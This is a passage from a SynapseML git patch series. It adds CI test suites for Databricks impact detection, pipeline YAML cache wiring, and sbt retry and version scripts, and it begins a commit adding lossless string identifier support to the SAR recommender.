"core/src/test/scala/com/microsoft/azure/synapse/ml/Secrets.scala", + "core/src/test/scala/com/microsoft/azure/synapse/ml/nbtest/DatabricksUtilities.scala", + "core/src/test/scala/com/microsoft/azure/synapse/ml/core/test/base/TestBase.scala", + "build.sbt", + "project/Build.scala", + "pipeline.yaml", + "templates/publish.yml", + ] + for path in shared_paths: + assert should_run_databricks([path], CPU_SUITE), path + assert should_run_databricks([path], GPU_SUITE), path + + +def test_unknown_docs_assets_fail_open_but_known_metadata_skips(): + assert should_run_databricks(["docs/data/model.json"], CPU_SUITE) + assert should_run_databricks(["docs/data/model.json"], GPU_SUITE) + assert not should_run_databricks(["docs/.DS_Store"], CPU_SUITE) + assert not should_run_databricks(["docs/.DS_Store"], GPU_SUITE) + + +def test_mixed_changes_run(): + paths = [ + "README.md", + "cognitive/src/main/scala/example/Service.scala", + ] + assert should_run_databricks(paths, CPU_SUITE) + assert not should_run_databricks(paths, GPU_SUITE) + + +def test_empty_or_unsafe_paths_fail_open(): + for suite in (CPU_SUITE, GPU_SUITE): + assert should_run_databricks([], suite) + assert should_run_databricks(["../outside-repository"], suite) + assert should_run_databricks(["/absolute/path"], suite) + + +def test_cli_accepts_null_delimited_git_paths(): + process = subprocess.run( + [ + sys.executable, + "-m", + "tools.ci.databricks_impact", + "--null", + "--suite", + GPU_SUITE, + ], + input=b"README.md\0tools/ci/README.md\0", + capture_output=True, + check=False, + ) + assert process.returncode == 0 + assert process.stdout == b"false\n" + + +def test_cli_selects_only_the_requested_suite(): + path = b"lightgbm/src/main/scala/example/TrainUtils.scala\0" + cpu = subprocess.run( + [ + sys.executable, + "-m", + "tools.ci.databricks_impact", + "--null", + "--suite", + CPU_SUITE, + ], + input=path, + capture_output=True, + check=False, + ) + gpu = subprocess.run( + [ + sys.executable, + "-m", + "tools.ci.databricks_impact", + "--null", + "--suite", + GPU_SUITE, + ], + input=path, + capture_output=True, + check=False, + ) + assert cpu.stdout == b"true\n" + assert gpu.stdout == b"false\n" diff --git a/tools/ci/tests/test_pipeline_yaml.py b/tools/ci/tests/test_pipeline_yaml.py new file mode 100644 index 00000000000..17b249c0b2b --- /dev/null +++ b/tools/ci/tests/test_pipeline_yaml.py @@ -0,0 +1,401 @@ +"""Validation for the sbt-bootstrap CI hardening wiring in pipeline.yaml. + +Ensures the durable fix is actually wired in: every sbt-running job restores the +shared bootstrap cache, the prewarm job exists, the cache keys invalidate on the +bootstrap inputs, and the duplicated inline retry blocks were replaced by the +shared helper. Run with: ``python -m pytest tools/ci/tests/test_pipeline_yaml.py``. +""" +from pathlib import Path + +import yaml + +REPO_ROOT = Path(__file__).resolve().parents[3] +PIPELINE = REPO_ROOT / "pipeline.yaml" +SBT_CACHE_TPL = REPO_ROOT / "templates" / "sbt_cache.yml" +SBT_RETRY = REPO_ROOT / "tools" / "ci" / "sbt_retry.sh" +SBT_VERSION = REPO_ROOT / "tools" / "ci" / "get_sbt_version.sh" +DATABRICKS_IMPACT = REPO_ROOT / "tools" / "ci" / "databricks_impact.py" +DATABRICKS_STEPS_TPL = REPO_ROOT / "templates" / "databricks_e2e_steps.yml" +CLEAN_ACR_PIPELINE = REPO_ROOT / ".pipelines" / "clean-acr.yml" + + +def _pipeline_text(): + return PIPELINE.read_text() + + +def _jobs(node): + if isinstance(node, dict): + if "job" in node: + yield node + for value in node.values(): + yield from _jobs(value) + elif isinstance(node, list): + for value in node: + yield from _jobs(value) + + +def test_pipeline_and_templates_parse(): + assert yaml.safe_load(PIPELINE.read_text()) is not None + assert yaml.safe_load(CLEAN_ACR_PIPELINE.read_text()) is not None + for tpl in (REPO_ROOT / "templates").glob("*.yml"): + assert yaml.safe_load(tpl.read_text()) is not None, f"{tpl} failed to parse" + + +def test_sbt_cache_template_exists_and_parses(): + assert SBT_CACHE_TPL.exists() + data = yaml.safe_load(SBT_CACHE_TPL.read_text()) + steps = data["steps"] + tasks = [s for s in steps if s.get("task", "").startswith("Cache@2")] + assert len(tasks) == 3, "expected boot + ivy + Coursier cache steps" + keys = [t["inputs"]["key"] for t in tasks] + paths = [t["inputs"]["path"] for t in tasks] + # Boot cache invalidates on the pinned sbt version. + assert any("build.properties" in k and "sbtboot" in k for k in keys) + # Dependency caches invalidate on every root/project sbt definition. + dependency_keys = [k for k in keys if "sbtboot" not in k] + assert all("project/*.sbt" in k for k in dependency_keys) + assert all("**/build.sbt" in k for k in dependency_keys) + assert all("project/**/*.scala" in k for k in dependency_keys) + assert any(".sbt/boot" in p for p in paths) + assert any(".ivy2/cache" in p for p in paths) + assert any(".cache/coursier" in p for p in paths) + assert all(t["inputs"].get("cacheHitVar") for t in tasks) + # Cache miss/corruption must fall back safely, not fail the job. + for t in tasks: + assert t.get("continueOnError") is True + fallback_scripts = [ + s.get("bash", "") + for s in steps + if isinstance(s, dict) and s.get("displayName") == "Ensure sbt cache is usable" + ] + assert len(fallback_scripts) == 1 + fallback_script = fallback_scripts[0] + assert "SBT_SETUP_MAX_STAGGER_SECONDS" in fallback_script + assert "sbt_retry.sh update" in fallback_script + assert 'if [ "$exact_hit" != "true" ]' in fallback_script + + fallback_step = next( + s + for s in steps + if isinstance(s, dict) and s.get("displayName") == "Ensure sbt cache is usable" + ) + for cache_hit_var in ( + "SBT_BOOT_CACHE_RESTORED", + "SBT_IVY_CACHE_RESTORED", + "SBT_COURSIER_CACHE_RESTORED", + ): + assert f"$({cache_hit_var})" in fallback_step["env"].values() + + +def test_sbt_retry_script_referenced_and_exists(): + assert SBT_RETRY.exists() + assert SBT_VERSION.exists() + txt = _pipeline_text() + assert "tools/ci/sbt_retry.sh" in txt + assert "tools/ci/get_sbt_version.sh" in txt + + +def test_no_dormant_ivy_cache_placeholders_remain(): + txt = _pipeline_text() + assert "ivy_cache" not in txt, "dormant ivy_cache placeholders should be replaced" + + +def test_no_duplicated_inline_setup_retry_remains(): + txt = _pipeline_text() + # Old duplicated idioms removed in favour of the shared helper. + assert "retry_sbt_setup()" not in txt + assert '(timeout 5m sbt setup) || (echo "retrying"' not in txt + + +def test_prewarm_job_present(): + data = yaml.safe_load(_pipeline_text()) + jobs = {j.get("job"): j for j in _jobs(data["jobs"])} + assert "BuildAndCacheSbt" in jobs + assert "BuildAndCacheCondaEnv" not in jobs + prewarm = jobs["BuildAndCacheSbt"] + assert "condition" not in prewarm, "prewarm must run whenever sbt jobs can run" + cache_steps = [ + step + for step in prewarm["steps"] + if isinstance(step, dict) and step.get("template") == "templates/sbt_cache.yml" + ] + assert len(cache_steps) == 1 + assert cache_steps[0]["parameters"] == { + "prewarm": True, + "maxAttempts": 7, + "maxBackoffSeconds": 180, + } + + +def test_databricks_e2e_uses_fail_open_pr_impact_detection(): + assert DATABRICKS_IMPACT.exists() + data = yaml.safe_load(_pipeline_text()) + jobs = {j.get("job"): j for j in _jobs(data["jobs"])} + prewarm = jobs["BuildAndCacheSbt"] + databricks_cpu = jobs["DatabricksCPUE2E"] + databricks_gpu = jobs["DatabricksGPUE2E"] + + detection_steps = [ + step + for step in prewarm["steps"] + if isinstance(step, dict) and step.get("name") == "detectDatabricksImpact" + ] + assert len(detection_steps) == 1 + detection_script = detection_steps[0]["bash"] + assert "databricks_impact.py --null --suite cpu" in detection_script + assert "databricks_impact.py --null --suite gpu" in detection_script + assert "Build.Reason" in detection_script + assert "SYSTEM_PULLREQUEST_TARGETBRANCH" in detection_script + assert "isOutput=true" in detection_script + assert "run_databricks_cpu=true" in detection_script + assert "run_databricks_gpu=true" in detection_script + assert "runDatabricksCpuE2E;isOutput=true" in detection_script + assert "runDatabricksGpuE2E;isOutput=true" in detection_script + + for job, suite in ((databricks_cpu, "Cpu"), (databricks_gpu, "Gpu")): + condition = job["condition"] + assert "succeeded()" in condition + assert "variables.runTests" in condition + assert "parameters.testDatabricksE2E" in condition + assert ( + "dependencies.BuildAndCacheSbt.outputs" + f"['detectDatabricksImpact.runDatabricks{suite}E2E']" + ) in condition + assert "DATABRICKS_SUITE" not in condition + assert job["steps"] == [{"template": "templates/databricks_e2e_steps.yml"}] + + assert len(databricks_cpu["strategy"]["matrix"]) == 5 + assert "strategy" not in databricks_gpu + assert ( + databricks_gpu["variables"]["TEST-CLASS"] + == "com.microsoft.azure.synapse.ml.nbtest.DatabricksGPUTests" + ) + + steps = yaml.safe_load(DATABRICKS_STEPS_TPL.read_text())["steps"] + assert any(step.get("displayName") == "E2E" for step in steps) + assert any(step.get("displayName") == "Publish Test Results" for step in steps) + + +def test_release_compat_accepts_github_target_and_uses_one_sbt_process(): + data = yaml.safe_load(_pipeline_text()) + jobs = {j.get("job"): j for j in _jobs(data["jobs"])} + release_compat = jobs["ReleaseBranchCompat"] + + condition = release_compat["condition"] + assert "System.PullRequest.TargetBranch" in condition + assert "'master'" in condition + assert "'refs/heads/master'" in condition + + steps = release_compat["steps"] + assert not any(step.get("task") == "AzureCLI@2" for step in steps) + assert not any(step.get("template") == "templates/kv.yml" for step in steps) + + rebase_steps = [ + step + for step in steps + if isinstance(step, dict) + and step.get("displayName") == "Apply PR changes onto $(RELEASE_BRANCH)" + ] + assert len(rebase_steps) == 1 + rebase_script = rebase_steps[0]["bash"] + assert "TARGET_HEAD=$(git rev-parse HEAD^1)" in rebase_script + assert "SOURCE_HEAD=$(git rev-parse HEAD^2)" in rebase_script + assert "git rebase --onto $RELEASE_TIP $TARGET_HEAD $SOURCE_HEAD" in rebase_script + assert "git rebase --onto $PR_HEAD $MASTER_BASE" not in rebase_script + assert 'git diff --name-only -z "$TARGET_HEAD" HEAD' in rebase_script + assert "pipeline.yaml|CODEOWNERS" in rebase_script + assert "templates/*|tools/acr/*|tools/ci/*" in rebase_script + assert "variable=releaseCompatRequired]false" in rebase_script + assert "variable=releaseCompatRequired]true" in rebase_script + + validation_steps = [ + step + for step in steps + if isinstance(step, dict) + and step.get("displayName") == "Validate $(RELEASE_BRANCH) after rebase" + ] + assert len(validation_steps) == 1 + script = validation_steps[0]["bash"] + assert script.count("sbt $(SBT_JAVA_OPTS)") == 1 + assert "test:compile" in script + assert "getDatasets" in script + for project in ("core", "vw", "opencv"): + assert f'"project {project}"' in script + assert "sbt_retry.sh" not in script + assert "for pkg in" not in script + assert ( + validation_steps[0]["condition"] + == "and(succeeded(), eq(variables.releaseCompatRequired, 'true'))" + ) + + result_steps = [ + step + for step in steps + if isinstance(step, dict) + and step.get("displayName") == "Publish $(RELEASE_BRANCH) Test Results" + ] + assert len(result_steps) == 1 + assert "releaseCompatRequired" in result_steps[0]["condition"] + + +def test_acr_cleanup_is_schedule_only_and_uses_dedicated_identity(): + data = yaml.safe_load(CLEAN_ACR_PIPELINE.read_text()) + assert data["trigger"] == "none" + assert data["pr"] == "none" + assert data["variables"]["azureServiceConnection"] == "synapseml-clean-acr" + + cleanup = next( + step for step in data["steps"] if step.get("displayName") == "Clean ACR" + ) + assert cleanup["inputs"]["azureSubscription"] == "$(azureServiceConnection)" + script = cleanup["inputs"]["inlineScript"] + assert "pip install" not in script + assert "clean-acr-connection-string" not in script + assert "python tools/acr/clean_acr.py" in script + + +def test_non_azure_setup_steps_do_not_authenticate_with_azure_cli(): + data = yaml.safe_load(_pipeline_text()) + jobs = {j.get("job"): j for j in _jobs(data["jobs"])} + expected_bash_steps = { + "Style": {"Scala Style Check"}, + "BuildDocker": {"Get Docker Tag + Version"}, + "PythonTests": {"Install and package deps", "Generate Codecov report"}, + "RTests": {"Prepare for tests", "Generate Codecov report"}, + "WebsiteSamplesTests": {"Generate Codecov report"}, + "UnitTests": {"Setup repo", "Generate Codecov report"}, + } + + for job_name, display_names in expected_bash_steps.items(): + steps = jobs[job_name]["steps"] + for display_name in display_names: + step = next( + step for step in steps if step.get("displayName") == display_name + ) + assert "bash" in step, f"{job_name}/{display_name} should be a Bash step" + assert step.get("task") != "AzureCLI@2" + + +def test_build_docker_allows_time_for_both_image_builds(): + data = yaml.safe_load(_pipeline_text()) + jobs = {j.get("job"): j for j in _jobs(data["jobs"])} + assert jobs["BuildDocker"]["timeoutInMinutes"] >= 120 + + +def test_publish_jobs_resolve_and_preserve_package_versions(): + data = yaml.safe_load(_pipeline_text()) + jobs = {j.get("job"): j for j in _jobs(data["jobs"])} + + publish = jobs["Publish"] + publish_steps = publish["steps"] + assert any(step.get("task") == "MavenAuthenticate@0" for step in publish_steps) + assert any(step.get("template") == "templates/conda.yml" for step in publish_steps) + assert any(step.get("template") == "templates/kv.yml" for step in publish_steps) + version_step = next( + step + for step in publish_steps + if step.get("displayName") == "Resolve package version" + ) + assert "get_sbt_version.sh" in version_step["bash"] + artifact_step = next( + step for step in publish_steps if step.get("displayName") == "Publish Artifacts" + ) + artifact_script = artifact_step["inputs"]["inlineScript"] + for task in ( + "packagePython uploadNotebooks", + "publishBlob publishDocs publishR publishPython", + "publishLocalSigned", + ): + assert task in artifact_script + assert artifact_step["env"]["SYNAPSEML_ENABLE_PUBLISH"] is True + assert "$(packageVersion)" in artifact_script + + release = jobs["Release"] + release_steps = release["steps"] + release_version = next( + step + for step in release_steps + if step.get("displayName") == "Validate release package version" + ) + assert "get_sbt_version.sh" in release_version["bash"] + assert 'EXPECTED_VERSION="${RELEASE_TAG#v}"' in release_version["bash"] + assert "PACKAGE_VERSION" in release_version["bash"] + release_guard_index = release_steps.index(release_version) + side_effect_steps = [ + next(step for step in release_steps if "git-chglog" in step.get("bash", "")), + next(step for step in release_steps if step.get("task") == "GitHubRelease@1"), + next(step for step in release_steps if "publishPypi" in step.get("bash", "")), + next( + step + for step in release_steps + if "publishLocalSigned" in step.get("bash", "") + ), + next( + step + for step in release_steps + if step.get("displayName") == "ESRP Publish Package" + ), + ] + assert all( + release_guard_index < release_steps.index(step) for step in side_effect_steps + ) + + +def test_style_does_not_restore_the_full_conda_environment(): + data = yaml.safe_load(_pipeline_text()) + jobs = {j.get("job"): j for j in _jobs(data["jobs"])} + style = jobs["Style"] + templates = [step.get("template") for step in style["steps"] if "template" in step] + assert "templates/conda.yml" not in templates + python_style = next( + step + for step in style["steps"] + if step.get("displayName") == "Python Style Check" + ) + assert "black[jupyter]==22.3.0" in python_style["bash"] + + +def test_every_sbt_running_job_waits_for_the_prewarm_cache(): + """Each sbt job must restore the cache after the required prewarm job.""" + data = yaml.safe_load(_pipeline_text()) + + def flatten(obj): + out = [] + if isinstance(obj, dict): + for v in obj.values(): + out += flatten(v) + elif isinstance(obj, list): + for v in obj: + out += flatten(v) + elif isinstance(obj, str): + out.append(obj) + return out + + offenders = [] + for job in _jobs(data["jobs"]): + if job["job"] == "BuildAndCacheSbt": + continue + steps = job.get("steps", []) + texts = flatten(steps) + runs_sbt = any( + "sbt " in t or t.strip().startswith("sbt") or "sbt_retry.sh" in t + for t in texts + ) + templates = [ + s.get("template") + for s in steps + if isinstance(s, dict) and s.get("template") + ] + uses_cache = "templates/sbt_cache.yml" in templates + depends_on = job.get("dependsOn", []) + if isinstance(depends_on, str): + depends_on = [depends_on] + condition = job.get("condition") + gated_by_success = condition is None or "succeeded()" in condition + if runs_sbt and ( + not uses_cache + or "BuildAndCacheSbt" not in depends_on + or not gated_by_success + ): + offenders.append(job.get("job")) + assert not offenders, f"sbt jobs missing required cache gate: {offenders}" diff --git a/tools/ci/tests/test_sbt_retry.py b/tools/ci/tests/test_sbt_retry.py new file mode 100644 index 00000000000..80d456353ee --- /dev/null +++ b/tools/ci/tests/test_sbt_retry.py @@ -0,0 +1,195 @@ +"""Deterministic tests for tools/ci/sbt_retry.sh. + +These exercise the stagger/backoff/retry logic with a fake ``sbt`` executable so +the wrapper's behaviour is verified without contacting Maven Central and without +real sleeps. Run with: ``python -m pytest tools/ci/tests/test_sbt_retry.py``. +""" +import os +import stat +import subprocess +from pathlib import Path + +REPO_ROOT = Path(__file__).resolve().parents[3] +SCRIPT = REPO_ROOT / "tools" / "ci" / "sbt_retry.sh" + + +def _write_exec(path: Path, body: str) -> None: + path.write_text(body) + path.chmod(path.stat().st_mode | stat.S_IEXEC | stat.S_IRWXU) + + +def _fake_sbt(tmp_path: Path, fail_count: int) -> Path: + """A fake ``sbt`` that fails its first ``fail_count`` invocations then passes. + + Records the invocation count and the args of each call to files in tmp_path. + """ + calls = tmp_path / "sbt_calls" + args_log = tmp_path / "sbt_args" + fake = tmp_path / "fake_sbt.sh" + _write_exec( + fake, + f"""#!/usr/bin/env bash +n=0 +if [ -f "{calls}" ]; then n=$(cat "{calls}"); fi +n=$((n + 1)) +echo "$n" > "{calls}" +echo "$@" >> "{args_log}" +if [ "$n" -le "{fail_count}" ]; then + echo "fake sbt: simulated failure #$n" >&2 + exit 1 +fi +echo "fake sbt: success on call #$n" +exit 0 +""", + ) + return fake + + +def _fake_sleep(tmp_path: Path) -> Path: + """A fake ``sleep`` that records each requested duration instead of waiting.""" + log = tmp_path / "sleep_log" + fake = tmp_path / "fake_sleep.sh" + _write_exec( + fake, + f"""#!/usr/bin/env bash +echo "$1" >> "{log}" +exit 0 +""", + ) + return fake + + +def _run(tmp_path, *args, env_overrides=None, sbt_cmd=None, sleep_cmd=None): + env = dict(os.environ) + # Deterministic + fast defaults: no real stagger/backoff, no timeout binary. + env.update( + { + "SBT_SETUP_MAX_STAGGER_SECONDS": "0", + "SBT_SETUP_BASE_BACKOFF_SECONDS": "0", + "SBT_SETUP_TIMEOUT": "", + "SBT_SETUP_RANDOM": "0", + "SBT_SETUP_MAX_ATTEMPTS": "5", + } + ) + if sbt_cmd: + env["SBT_SETUP_SBT_CMD"] = str(sbt_cmd) + if sleep_cmd: + env["SBT_SETUP_SLEEP_CMD"] = str(sleep_cmd) + if env_overrides: + env.update(env_overrides) + return subprocess.run( + ["bash", str(SCRIPT), *args], + env=env, + capture_output=True, + text=True, + ) + + +def test_script_exists_and_is_executable(): + assert SCRIPT.exists(), f"missing {SCRIPT}" + assert os.access(SCRIPT, os.X_OK), "sbt_retry.sh must be executable" + + +def test_succeeds_first_attempt(tmp_path): + sbt = _fake_sbt(tmp_path, fail_count=0) + r = _run(tmp_path, "setup", sbt_cmd=sbt) + assert r.returncode == 0, r.stderr + assert (tmp_path / "sbt_calls").read_text().strip() == "1" + + +def test_retries_then_succeeds(tmp_path): + sbt = _fake_sbt(tmp_path, fail_count=2) + r = _run(tmp_path, "setup", sbt_cmd=sbt) + assert r.returncode == 0, r.stderr + # Two failures + one success = three invocations. + assert (tmp_path / "sbt_calls").read_text().strip() == "3" + + +def test_exhausts_and_fails_visibly(tmp_path): + sbt = _fake_sbt(tmp_path, fail_count=99) # always fails + r = _run( + tmp_path, "setup", sbt_cmd=sbt, env_overrides={"SBT_SETUP_MAX_ATTEMPTS": "4"} + ) + assert r.returncode != 0, "must fail (no success fallback masking)" + assert (tmp_path / "sbt_calls").read_text().strip() == "4" + assert "exhausted 4 attempts" in (r.stdout + r.stderr) + + +def test_forwards_all_args_to_sbt(tmp_path): + sbt = _fake_sbt(tmp_path, fail_count=0) + r = _run( + tmp_path, + "-J--add-opens=java.prefs/java.util.prefs=ALL-UNNAMED", + "setup", + sbt_cmd=sbt, + ) + assert r.returncode == 0, r.stderr + logged = (tmp_path / "sbt_args").read_text().strip() + assert logged == "-J--add-opens=java.prefs/java.util.prefs=ALL-UNNAMED setup" + + +def test_no_args_is_error(tmp_path): + sbt = _fake_sbt(tmp_path, fail_count=0) + r = _run(tmp_path, sbt_cmd=sbt) + assert r.returncode == 2 + + +def test_exponential_backoff_schedule(tmp_path): + """With base=1s and jitter=0, delays must follow 1,2,4 (capped) between 4 attempts.""" + sbt = _fake_sbt(tmp_path, fail_count=99) + sleep = _fake_sleep(tmp_path) + r = _run( + tmp_path, + "setup", + sbt_cmd=sbt, + sleep_cmd=sleep, + env_overrides={ + "SBT_SETUP_MAX_ATTEMPTS": "4", + "SBT_SETUP_BASE_BACKOFF_SECONDS": "1", + "SBT_SETUP_MAX_BACKOFF_SECONDS": "100", + "SBT_SETUP_MAX_STAGGER_SECONDS": "0", + "SBT_SETUP_RANDOM": "0", + }, + ) + assert r.returncode != 0 + delays = (tmp_path / "sleep_log").read_text().split() + # 3 backoff waits between the 4 attempts (no wait after the final failure). + assert delays == ["1", "2", "4"], delays + + +def test_backoff_is_capped(tmp_path): + sbt = _fake_sbt(tmp_path, fail_count=99) + sleep = _fake_sleep(tmp_path) + r = _run( + tmp_path, + "setup", + sbt_cmd=sbt, + sleep_cmd=sleep, + env_overrides={ + "SBT_SETUP_MAX_ATTEMPTS": "5", + "SBT_SETUP_BASE_BACKOFF_SECONDS": "10", + "SBT_SETUP_MAX_BACKOFF_SECONDS": "25", + "SBT_SETUP_MAX_STAGGER_SECONDS": "0", + "SBT_SETUP_RANDOM": "0", + }, + ) + assert r.returncode != 0 + delays = [int(x) for x in (tmp_path / "sleep_log").read_text().split()] + # base*2^(n-1) = 10,20,40,80 -> capped at 25 -> 10,20,25,25 + assert delays == [10, 20, 25, 25], delays + + +def test_stagger_uses_sleep_when_enabled(tmp_path): + sbt = _fake_sbt(tmp_path, fail_count=0) + sleep = _fake_sleep(tmp_path) + r = _run( + tmp_path, + "setup", + sbt_cmd=sbt, + sleep_cmd=sleep, + env_overrides={"SBT_SETUP_MAX_STAGGER_SECONDS": "30", "SBT_SETUP_RANDOM": "7"}, + ) + assert r.returncode == 0, r.stderr + # rand_below(31) with RANDOM=7 -> 7 % 31 = 7 + delays = (tmp_path / "sleep_log").read_text().split() + assert delays == ["7"], delays diff --git a/tools/ci/tests/test_sbt_version.py b/tools/ci/tests/test_sbt_version.py new file mode 100644 index 00000000000..63f89622baa --- /dev/null +++ b/tools/ci/tests/test_sbt_version.py @@ -0,0 +1,72 @@ +# Copyright (C) Microsoft Corporation. All rights reserved. +# Licensed under the MIT License. See LICENSE in project root for information. + +import shlex +import stat +import subprocess +from pathlib import Path + + +REPO_ROOT = Path(__file__).resolve().parents[3] +SCRIPT = REPO_ROOT / "tools" / "ci" / "get_sbt_version.sh" + + +def _bash_path(path: Path) -> str: + if path.drive == "": + return str(path) + drive = path.drive.rstrip(":").lower() + return f"/mnt/{drive}/{path.as_posix().split(':', 1)[1].lstrip('/')}" + + +def _write_exec(path: Path, body: str) -> None: + path.write_text(body, newline="\n") + path.chmod(path.stat().st_mode | stat.S_IEXEC | stat.S_IRWXU) + + +def test_extracts_version_from_sbt_output(tmp_path): + fake_sbt = tmp_path / "fake_sbt.sh" + _write_exec( + fake_sbt, + """#!/usr/bin/env bash +echo '[info] loading project' +printf '\\033[32m[info] 1.2.3-SNAPSHOT\\033[0m\\n' +""", + ) + result = subprocess.run( + [ + "bash", + "-c", + "SBT_VERSION_SBT_CMD={} {}".format( + shlex.quote(_bash_path(fake_sbt)), + shlex.quote(_bash_path(SCRIPT)), + ), + ], + capture_output=True, + text=True, + check=False, + ) + + assert result.returncode == 0, result.stderr + assert result.stdout == "1.2.3-SNAPSHOT\n" + + +def test_rejects_missing_version(tmp_path): + fake_sbt = tmp_path / "fake_sbt.sh" + _write_exec(fake_sbt, "#!/usr/bin/env bash\necho '[info]'\n") + + result = subprocess.run( + [ + "bash", + "-c", + "SBT_VERSION_SBT_CMD={} {}".format( + shlex.quote(_bash_path(fake_sbt)), + shlex.quote(_bash_path(SCRIPT)), + ), + ], + capture_output=True, + text=True, + check=False, + ) + + assert result.returncode != 0 + assert "Unable to resolve" in result.stderr From 210035ca90c26b9db962e9641996cdacd18c4d36 Mon Sep 17 00:00:00 2001 From: Rana Singh Date: Wed, 5 Aug 2026 23:24:02 -0700 Subject: [PATCH 28/93] feat: Support lossless string identifiers in SAR (#2594) * feat: Add lossless string identifier support to SAR Refs #2275 Refs #2283 ## Summary Add deterministic, reversible user and item identifier mappings to SAR so string and wide numeric IDs are never cast into lossy caller-visible values. Persist mappings with the model, preserve identifier types in scores and recommendations, define null and unknown-ID behavior, restore typed item recommendation APIs, and add Scala and Python regression coverage. ## Prompting Intent Recreate the intent of the stale SAR string-ID change on current master without copying its lossy casts. Keep the SparkML API coherent and backward compatible for numeric users, use TDD, validate serialization and schema behavior, expose Python wrappers, and exercise targeted compile, style, code generation, Scala, and Python/JVM checks before opening a replacement PR. ## Linked Sources - Feature request: https://github.com/microsoft/SynapseML/issues/2275 - Original pull request: https://github.com/microsoft/SynapseML/pull/2283 - Current SAR implementation at the starting revision: https://github.com/microsoft/SynapseML/tree/7d9fabcc/core/src/main/scala/com/microsoft/azure/synapse/ml/recommendation - Repository review policy: .github/skills/code-review/SKILL.md ## Rationale Use model-owned typed mappings instead of composing RecommendationIndexer because that stage stringifies numeric identifiers, exposes index columns, and cannot recover every original type. Contiguous deterministic indices keep the existing matrix implementation viable, while persisted DataFrame parameters make decoding reversible after save/load. Inner mapping joins intentionally drop null or unseen scoring IDs, strict type validation prevents ambiguous conversions, and legacy numeric models fall back to identity mappings. The approach accepts a deterministic global sort and persisted mapping storage in exchange for lossless, reproducible SparkML behavior. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * fix: Address SAR identifier compatibility review Refs #2275 Refs #2594 ## Summary Resolve the four independent review findings on SAR string identifier support. Preserve typed IDs in ranking train/validation splits, accept only round-trip-safe numeric scoring casts, retain established integer recommendation schemas for safely representable numeric IDs, and rank only factor IDs that have real mappings. Add focused Scala and Python regressions and remove unnecessary mapping cache and interaction-count work identified during review. ## Prompting Intent The engineer asked to fix all medium correctness and compatibility findings on PR #2594, add a regression for each, rerun targeted Scala, code generation, formatting, and Python/JVM validation, then update the existing PR and request re-review without weakening lossless string or wide numeric behavior. ## Linked Sources - Pull request and review context: https://github.com/microsoft/SynapseML/pull/2594 - Feature request: https://github.com/microsoft/SynapseML/issues/2275 - Original pull request: https://github.com/microsoft/SynapseML/pull/2283 - Repository review policy: .github/skills/code-review/SKILL.md ## Rationale Use Spark structs and array functions instead of Double UDF payloads so split schemas remain typed. Numeric scoring IDs are temporarily cast only when casting back reproduces the input, preventing overflow and fractional aliasing while retaining unknown-ID drop semantics. Recommendation decoding conditionally uses the historical integer schema only when every ID round-trips through Int; strings and wide or fractional numeric IDs remain lossless. Candidate indices are intersected with both factors and mappings before top-K so gaps cannot consume recommendation slots. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> * fix: Make SAR numeric identifier handling ANSI-safe Refs #2275 Refs #2594 ## Summary Use ANSI-safe try_cast expressions for numeric identifier compatibility and legacy mappings. Persist whether model-owned user and item mappings safely round-trip through IntegerType, reuse those flags when selecting recommendation output schemas, and limit destination-index collection to mapping-less legacy models. Add ANSI overflow, persisted-flag, legacy-default, and recommendation-planning regressions. ## Prompting Intent The engineer asked to resolve the second independent review of PR #2594: prevent CAST_OVERFLOW under spark.sql.ansi.enabled=true, eliminate repeated mapped-model recommendation scans and index collection, add focused regressions, rerun Scala/codegen/Python validation, update the existing PR, trigger Azure Pipelines, and request another re-review. ## Linked Sources - Pull request and review context: https://github.com/microsoft/SynapseML/pull/2594 - Feature request: https://github.com/microsoft/SynapseML/issues/2275 - Original pull request: https://github.com/microsoft/SynapseML/pull/2283 - Repository review policy: .github/skills/code-review/SKILL.md ## Rationale Use Spark SQL try_cast in both cast directions rather than pre-cast comparisons so out-of-range values become null and are filtered even with ANSI mode enabled. Compute compatibility once while fitting and persist it with conservative false defaults for legacy models, avoiding full mapping scans on every recommendation call. New model mappings are contiguous, so mapped models rank the score vector directly; only mapping-less legacy models collect actual candidate indices to preserve gapped-ID correctness. Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --------- Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- .../synapse/ml/recommendation/SARModel.py | 9 + .../RankingTrainValidationSplit.scala | 118 ++-- .../azure/synapse/ml/recommendation/SAR.scala | 400 ++++++++++---- .../synapse/ml/recommendation/SARModel.scala | 503 ++++++++++++++---- .../recommendation/test_ranking.py | 91 ++++ .../RankingTrainValidationSpec.scala | 38 ++ .../ml/recommendation/SARIdentifierSpec.scala | 380 +++++++++++++ .../synapse/ml/recommendation/SARSpec.scala | 30 +- 8 files changed, 1267 insertions(+), 302 deletions(-) create mode 100644 core/src/test/scala/com/microsoft/azure/synapse/ml/recommendation/SARIdentifierSpec.scala diff --git a/core/src/main/python/synapse/ml/recommendation/SARModel.py b/core/src/main/python/synapse/ml/recommendation/SARModel.py index 03162cbcc22..7b1c8981f03 100644 --- a/core/src/main/python/synapse/ml/recommendation/SARModel.py +++ b/core/src/main/python/synapse/ml/recommendation/SARModel.py @@ -15,3 +15,12 @@ class SARModel(_SARModel): def recommendForAllUsers(self, numItems): return self._call_java("recommendForAllUsers", numItems) + + def recommendForUserSubset(self, dataset, numItems): + return self._call_java("recommendForUserSubset", dataset, numItems) + + def recommendForAllItems(self, numItems): + return self._call_java("recommendForAllItems", numItems) + + def recommendForItemSubset(self, dataset, numUsers): + return self._call_java("recommendForItemSubset", dataset, numUsers) diff --git a/core/src/main/scala/com/microsoft/azure/synapse/ml/recommendation/RankingTrainValidationSplit.scala b/core/src/main/scala/com/microsoft/azure/synapse/ml/recommendation/RankingTrainValidationSplit.scala index 115790c00b2..a795514bd2c 100644 --- a/core/src/main/scala/com/microsoft/azure/synapse/ml/recommendation/RankingTrainValidationSplit.scala +++ b/core/src/main/scala/com/microsoft/azure/synapse/ml/recommendation/RankingTrainValidationSplit.scala @@ -13,14 +13,13 @@ import org.apache.spark.ml.util.Identifiable import org.apache.spark.ml.{Model, _} import org.apache.spark.sql.expressions.Window import org.apache.spark.sql.functions.{collect_list, rank => r, _} -import org.apache.spark.sql.types.StructType +import org.apache.spark.sql.types.{IntegerType, StructType} import org.apache.spark.sql.{DataFrame, Dataset} import scala.annotation.tailrec import scala.collection.JavaConverters._ import scala.concurrent.duration.Duration import scala.concurrent.{ExecutionContext, Future} -import scala.util.Random class RankingTrainValidationSplit(override val uid: String) extends 